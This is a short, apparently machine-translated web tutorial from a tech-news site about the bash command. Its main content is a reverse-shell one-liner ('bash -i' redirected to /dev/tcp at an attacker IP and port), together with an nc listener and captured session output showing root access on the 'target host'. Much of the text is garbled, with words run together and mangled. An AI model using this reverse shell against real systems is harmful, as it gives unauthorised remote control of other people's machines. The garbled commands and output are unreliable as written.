Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Linux command-- bash

Shulou Source: shulou.com Published: 2022-06-01 04:34:37 10月05日 Update

Bash is a command interpretation language that can execute commands to read standard input or files, execute commands and bounce shell with nc!

Basic usage syntax

Bash-c command root@kali:~# bash-c whoamirootroot@kali:~#

In addition,-I is used to run shell interactively, usually on the target host

Bash-I > & / dev/tcp/192.168.5.1/2222 0 > & 1

Then another host uses nc to listen on the port and get a shell!

Target host:

Root@kali:~# bash-I > & / dev/tcp/192.168.5.1/2222 0 > & 1

* Host:

F:\\ eth20-CTF-Toolkits\\ CTF Toolkit\\ connection tool > nc-lvp 2222lstn on [any] 2222.. 192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATAconnect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATAroot@kali:~# uname-auname-aLinux kali 4.6.0-kali1-amd64 # 1 SMP Debian 4.6.4-1kali1 (2016-07-21) X86_64 GNU/Linuxroot@kali:~# whoamiwhoamirootroot@kali:~#exit

Tags: Commands hosts tools targets runs toolkits files methods standards ports syntax language monitoring interpretation input Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Redmi Linux MariaDB NVidia Shulou Information